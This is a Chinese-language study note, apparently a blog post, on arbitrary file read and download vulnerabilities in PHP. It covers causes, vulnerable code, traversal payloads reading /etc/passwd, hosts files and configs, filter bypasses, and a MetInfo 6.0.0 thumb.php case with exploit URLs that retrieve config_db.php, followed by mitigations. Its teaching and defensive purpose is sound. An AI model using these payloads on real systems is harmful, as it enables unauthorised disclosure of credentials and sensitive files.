• fileread任意文件读取学习笔记


    任意文件读取概述

    一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。

    • 任意文件读取会造成(敏感)信息泄露;

    • 任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。

    • 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。

    任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

    漏洞成因

    不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

    • 存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能

    • 读取文件的路径客户端可控,完全控制或影响文件路径参数;

    • 没有对文件路径进行校验或者校验不严导致校验被绕过;

    • 输出了文件的内容。

    漏洞危害

    下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

    可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。

    任意文件读取与下载重点关注的文件:

    • 源代码

    • 配置文件

    • 敏感文件

    • 日志文件

    漏洞分类

    • 任意文件读取

    • 任意文件下载

    任意文件读取

    以PHP 脚本为例子,有一些函数可以实现文件读取功能。

    文件读取

    读取文件的函数函数特点
    readfile()直接读取文件内容
    自带输出功能
    file_get_contents()直接读取文件内容
    需要输出读取内容
    file_get_contents()打开文件
    计算文件大小
    读取文件
    输出文件
    关闭文件

    readfile:

    // readfile.php
    $fp = "../phpinfo.php";
    readfile($fp);
    
    • 1
    • 2
    • 3

    file_get_contents:

    // file_get_contents.php
    $fp = "../phpinfo.php";
    echo file_get_contents($fp);
    
    • 1
    • 2
    • 3

    fread:

    // fread.php
    $fp = "../phpinfo.php";
    $f = fopen($fp,'r');
    $f_size = filesize($fp);
    echo fread($f, $f_size);
    fclose($f);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    任意文件读取

    变量$fp,会捕获GET 方式传递过来的filepath 参数。

    $fp = @$_GET['filepath'];
    
    • 1

    filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。

    ?filepath=index.php
    ?filepath=/etc/passwd
    ?filepath=c:\windows\system32\drivers\etc\hosts
    ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf
    ?filepath=c:\phpstudy_2016\mysql\my.ini
    ?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
    ?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
    ?filePath=../../../../../../etc/hosts
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    任意文件下载

    一般情况

    直接下载:例如图片另存为。

    a 标签下载:

    IMG Download
    
    • 1

    php实现

    PHP 文件下载实现过程:

    • 先读取文件

    • 在输出文件

    • 提供下载

    // file-download.php
    $fp = './a.jpg';
    header('Content-Type:image/jpg');
    header('Content-Disposition:attachment;fileName='.basename($fp));
    readfile($fp);
    
    • 1
    • 2
    • 3
    • 4
    • 5

    任意文件下载

    任意文件下载的条件:

    • 已知目标文件路径

    • 目标文件路径,客户端可控

    • 没有经过校验或校验不严格

    $fp = $_GET['filepath'];
    
    • 1

    image-20231114111225936

    ?filepath=c:/windows/system32/drivers/etc/hosts
    ?filepath=/etc/passwd
    
    • 1
    • 2

    任意文件读取攻防

    路径过滤

    过滤…/

    $fp = @$_GET['filepath'];
    $fp = str_replace("../","",$fp);
    readfile($fp);
    
    • 1
    • 2
    • 3

    简单绕过

    双写绕过

    ?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
    
    • 1

    绝对路径

    ?filepath=c:/windows\system32\drivers\etc\hosts
    
    • 1

    使用…\

    ?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
    
    • 1

    任意文件读取挖掘

    手工挖掘

    从文件名上看从参数名上看
    readfile.php
    filedownload.php
    filelist.php
    f=
    file=
    filepath=
    fp=
    readfile=
    path=
    readpath=
    url=
    menu=
    META-INF=
    WEB-INF=
    content=

    经典案例

    • metinfo_6.0.0_file-read

    该漏洞出现在metinfo_6.0.0下的/include/thumb.php文件中

    该文件源码

    
    # MetInfo Enterprise Content Management System
    # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
    
    defined('IN_MET') or exit('No permission');
    
    load::sys_class('web');
    
    class old_thumb extends web{
    
          public function doshow(){
            global $_M;
    
             $dir = str_replace(array('../','./'), '', $_GET['dir']);
    
    
            if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
                header("Content-type: image/jpeg");
                ob_start();
                readfile($dir);
                ob_flush();
                flush();
                die;
            }
    
            if($_M['form']['pageset']){
              $path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";
    
            }else{
              $path = $dir;
            }
            $image =  thumb($path,$_M['form']['x'],$_M['form']['y']);
            if($_M['form']['pageset']){
              $img = explode('?', $image);
              $img = $img[0];
            }else{
              $img = $image;
            }
            if($img){
                header("Content-type: image/jpeg");
                ob_start();
                readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));
                ob_flush();
                flush();
            }
    
        }
    }
    
    # This program is an open source system, commercial use, please consciously to purchase commercial license.
    # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    过滤代码

    $dir = str_replace(array('../','./'), '', $_GET['dir']);
    
    • 1
     if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)
    
    • 1

    将输入的…/和./过滤为空

    并判断url的前四位是否为http并且输入的dir里面有没有./如果没有且头部为http,则可以执行

    第一次测试 双写

    /include/thumb.php?dir=..././http/..././config/config_db.php
    
    • 1

    第二次测试 三写

    /include/thumb.php?dir=.....///http/.....///config/config_db.php
    
    • 1

    第三次测试

    /include/thumb.php?dir=http/.....///.....///config/config_db.php
    
    • 1

    第四次测试

    /include/thumb.php?dir=http\..\..\config\config_db.php
    
    • 1

    image-20231114154754936

    输出一下过滤后的dir和M

    image-20231114154926678

    漏洞修复方案

    输入验证

    • 让web 用户只能访问(读取),所需要的文件和路径。

    避免其它漏洞

    • 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。

    限定文件的访问范围

    • 让用户不能访问Web 根目录以外的路径。

    • php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围

    open_basedir = c:\www\
    
    • 1

    参考链接

    https://github.com/lijiejie/ds_store_exp
    https://blog.csdn.net/GitChat/article/details/79014538
    https://www.secpulse.com/archives/124398.html
    https://github.com/kost/dvcs-ripper
    https://github.com/lijiejie/GitHack
    http://www.vuln.cn/2225
    https://github.com/admintony/svnExploit
    https://www.freebuf.com/vuls/181698.html
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
  • 相关阅读:
    抽丝剥茧,Redis使用事件总线EventBus或AOP优化健康检测
    多测师肖sir___接口自动化测试框架(python+request+unittest+ddt)
    Simple WPF: WPF实现一个MINIO等S3兼容对象存储上传文件的小工具
    Python 内置logging 使用详细讲
    大模型能力
    C语言的文件操作(炒详解)
    修改了字符集,好多软件不能正常使用,所以,慎重。。。。
    华为机试 - 冠亚军排名
    【BOOST C++ 20 设计模式】(1)库Boost.Flyweight
    AI实战 | 手把手带你打造智能待办助手
  • 原文地址:https://blog.csdn.net/qq_58683895/article/details/134401000